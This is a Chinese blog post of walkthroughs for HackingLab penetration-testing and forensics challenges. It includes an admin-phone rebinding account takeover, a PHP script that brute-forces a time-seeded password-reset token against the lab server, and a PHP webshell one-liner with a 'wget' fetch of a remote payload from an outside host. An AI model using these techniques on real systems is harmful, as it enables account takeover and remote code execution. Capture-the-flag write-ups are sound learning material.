渗透测试第一期
注意:该题目模拟真实环境,故具有排他性,请选择合适的时间段完成该题。 你只有一部可用手机,手机号码会在需要手机号码的页面中给出。
通关地址
修复
现在用户不用排他了,只要保证在一个session里即可。
注册要绑定一个手机号,用来接收验证码,而 key 在管理员那里,必须要重置管理员的密码,这就需要改管理员绑定的手机,直接在绑定手机那里抓包,username 改成 admin 即可绑定成功,重置密码登录即可。
没有注入到底能不能绕过登录
不是SQL注入
通关地址
简单看下文件,有一个 robots.txt,打开有个路径 myadminroot,进去提示 login first,然而 login 的地方怎么输密码都是 error。。。
难道要爆破?我放了几个弱口令字典都没什么效果。。。有点尴尬,这怎么办。。
我又抓了 myadminroot 的包,结果发现,不管 error,按顺序提交两个包就出现了 flag。。。原理不明。。。
美图闪亮亮交友平台
小明今年19了,看到比自己还小两岁的妹妹都已经有了小男朋友,因此他也想找个女朋友了,于是就来到了美图闪亮亮交友平台,但是他怎么也没想到,上面的妹纸都不理他,于是他只好想办法;最后,他登录到了管理员姑娘的网页版邮箱,发现管理员姑娘其实已经暗恋他已久,于是乎,他们开始了一段惊人的地下恋情。
通关地址
ps:出题的人一定是想妹纸想疯了
Tips: 邮箱没有xss漏洞
Tips: 管理员用的是手机wap邮箱,而且管理员的手机不支持Cookie(20150823)
这是什么脑洞。。不能理解。
最简单的数字取证1
小明是某安全公司的职员,今天是他第一次参与客户应急工作,来到客户现场,客户给了他一个文件,然后客户就忙着开会去了……来吧,我们一起帮助小明看一下,这个文件里到底有什么内容.
通关地址
Tips: 在这个文件中发现key文件找到key并提交即可通关
映射虚拟磁盘即可。
最简单的数字取证2
小明是某安全公司的职员,今天是他第二次参与客户应急工作,来到客户现场,客户给了他一个文件,然后告诉他,有资料被黑客删除了,请帮忙恢复一下,然后客户就又忙着开会去了…….来吧,为了创造美好的专业形象,小明这回要当一次数据恢复专家了.
下载地址
Tips: 在这个文件中发现key文件找到该key并提交即可通关
映射好像打不开了,老是拒绝访问。。。用 DiskGenius 打开虚拟硬盘文件即可看到 flag。
小明学习代码审计
小明为了追他心爱的女孩,可谓是绞尽脑汁,天天熬夜好好学习!现在他已经开始学习代码审计,一天,他来到一个电商网站,发现了可爱的程序员竟然写了这样的代码,于是乎,他便重置了管理员密码,买了许多好吃的.
通关地址
Tips: 该题目模拟真实环境,请不要放过细节.提示不如不提示,Take it easy!
既然是代码审计,那就先找源码了。
<?php
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
if($_POST['token']==$_SESSION['token']){
echo "PassResetSuccess! Your Flag is:".$flag;
}else{
echo "Token_error!";
}
}else{
mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));
echo "Token Generate Ok! now send email to your EmailBox!.....";
if(sendmymail($_SESSION['token'])){
echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
};
}
echo '<form action="" method="POST">
<input type="text" name="token">
<input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>
post 提交的 token 和生成的一样时,返回 flag,而生成 token 用到了以时间戳为种子的随机数的哈希,这好像就只能用 PHP 来写脚本做题了。。。
<?php
include('D:\Program Files\phpstudy\Requests-1.6.0\library\Requests.php');
Requests::register_autoloader();
$time1 = time();
for($i = -10; $i < 10; $i ++)
{
echo $i . 'Time: ' . time();
mt_srand($time1 + $i);
$rand = mt_rand();
echo $rand . "\r\n";
$token = sha1(md5($rand));
$data = array('token' => $token);
$headers = array('Cookie' => 'PHPSESSID=c31b59c39493d819568e972c74e696b5');
$response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
// echo $response->body . "\r\n\r\n";
if(strpos($response->body, "Token_error"))
{
echo $response->body;
break;
}
}
跑脚本之前好像先得访问一下重置密码地址让服务器生成 token,还需要安装好 PHP 的 Requests 库。
HackingLab首台rootkit题目虚拟机
要求: 找到系统rootkit后门(不是木马)并提取后门密码
密码验证方式:验证可以远程获取root权限,则说明密码正确.
正确的密码即为过关密码
虚拟机信息:[root密码hackinglab.cn]
下载地址: http://pan.baidu.com/s/1bnoKlOj 密码: bpe5
若无法下载请联系@CplusHua
该题目可能难度较大,涉及到应急响应分析,病毒木马查杀,简单逆向分析等
打开虚拟机,top 查看下进程,看到在一堆 apache 用户的 httpd 进程里有一个 root 用户格外亮眼,很有嫌疑,去 httpd 安装目录下看看。
[root@rootkit modules]# cd /etc/httpd/
[root@rootkit httpd]# ls
conf conf.d logs modules run
[root@rootkit httpd]# cd modules/
[root@rootkit httpd]# cd modules/
[root@rootkit modules]# ls
libphp5.so mod_authn_anon.so mod_authz_default.so mod_cern_meta.so mod_dir.so mod_headers.so mod_logio.so mod_proxy_ftp.so mod_setenvif.so mod_usertrack.so
mod_actions.so mod_authn_dbd.so mod_authz_groupfile.so mod_cgid.so mod_disk_cache.so mod_ident.so mod_mime_magic.so mod_proxy_http.so mod_speling.so mod_version.so
mod_alias.so mod_authn_dbm.so mod_authz_host.so mod_cgi.so mod_dumpio.so mod_include.so mod_mime.so mod_proxy_scgi.so mod_status.so mod_vhost_alias.so
mod_asis.so mod_authn_default.so mod_authz_owner.so mod_dav_fs.so mod_env.so mod_info.so mod_negotiation.so mod_proxy.so mod_substitute.so
mod_auth_basic.so mod_authn_file.so mod_authz_user.so mod_dav.so mod_expires.so mod_ldap.so mod_proxy_ajp.so mod_reqtimeout.so mod_suexec.so
mod_auth_digest.so mod_authnz_ldap.so mod_autoindex.so mod_dbd.so mod_ext_filter.so mod_log_config.so mod_proxy_balancer.so mod_rewrite.so mod_unique_id.so
mod_authn_alias.so mod_authz_dbm.so mod_cache.so mod_deflate.so mod_filter.so mod_log_forensic.so mod_proxy_connect.so mod_rootme22.so mod_userdir.so
发现一个 mod_rootme22.so 文件,看着名字就不像好货。
[root@rootkit modules]# strings mod_rootme22.so
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
pidlist
pipe_A
pipe_B
shell_spooler
ttyname
pipe
fork
getppid
exit
waitpid
write
select
read
kill
close
runshell_raw
runshell_pty
process_client
strncmp
shutdown
send
recv
setsid
dup2
execlp
openpty
memset
ioctl
malloc
strncpy
putenv
chdir
core_module
ap_get_module_config
strcmp
ap_hook_post_config
ap_hook_post_read_request
rootme22_module
libutil.so.1
libc.so.6
_edata
__bss_start
_end
GLIBC_2.2.5
ATSubH
/usr/sbin/apache2 -k start
hackinglabwelcomeyou!
wearefriends+
mod_rootme22.c
22PA
拿到flag。
代码审计与综合利用
要求: 下载虚拟机,在只利用http服务的情况下读取flag
flag在/下,名字为"the_flag_is_here"
flag密码即为过关密码
下载地址: 链接: http://pan.baidu.com/s/1dEplYcp 密码: k1u8
若无法下载请联系@CplusHua
虚拟机信息:[root密码hackinglab.cn]请尽量不要直接登录,虽然在本地运行,也当是在远程好啦,模拟只对用户开80端口的情况下.
FROM: CTF
这虚拟机太坑了,一上去只有一个 lo 网卡,没有 eth0,我参考这篇文章一顿乱改才搞好。。。
打开页面,一片空白,看源码,提示 GET 需要一个 src 参数,输入后看到源码。
<?php
session_start();
$savepath="files/".sha1(session_id())."/";
if(!is_dir($savepath)){
$oldmask=umask(0);
mkdir($savepath,0777);
umask($oldmask);
touch($savepath."/index.html");
}
if(($_POST['filename'])&&($_POST['content'])){
$fp=fopen("$savepath".$_POST['filename'],'w');
fwrite($fp,substr($_POST['content'],0,7));
fclose($fp);
$msg='File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
echo $msg;
}
?>
<?php if(@$_GET['src']) show_source(__FILE__);?>
<!-- <a href="./?src=">src</a>-->
这显然是个上传 webshell 的题目了,然而限制了只能有 7 个字符,一句话肯定是不行了,查到的最短的一句话是:
<?=`$_GET[1]`;
这也要 14 个字符,除非把里面的换成 *,这才能变成7个字符。
这样的 PHP 有一个奇怪的特性,会把目录下所有的文件挨个执行一遍,这时就想到了远程 getshell,上传一个 wget 文件,内容随意,传一个 wz.40huo.cn,内容随意,一个 z.php,内容是上面的 payload。但试了半天,wget 只能把下载的东西保存到 index.html 里,这样就没法执行了。。。
wget wz.40huo.cn z.php
放弃 getshell,转向命令执行,上传一个 bash 文件,内容随意,一个 bb 文件,内容为 ls /
,然后执行。
bin boot dev etc home lib lib64 lost+found media mnt opt proc root sbin selinux srv sys the_flag_is_here tmp usr var
瞬间看到 flag 文件,改 bb 文件内容为 cat /t*
。
flagis:LinuxPHP1932186
“代码审计与综合利用” 是怎么上传bash文件和bb文件的?hacklab题目要求只开启了80端口,不能直接登录,难道是通过index.php的写文件吗?@(疑问)
<? 能把目录下所有的文件挨个执行一遍?没成功@(泪)
我已经理解作者的意思了,楼主大牛!@(太开心)
楼主牛啊,学到好多东西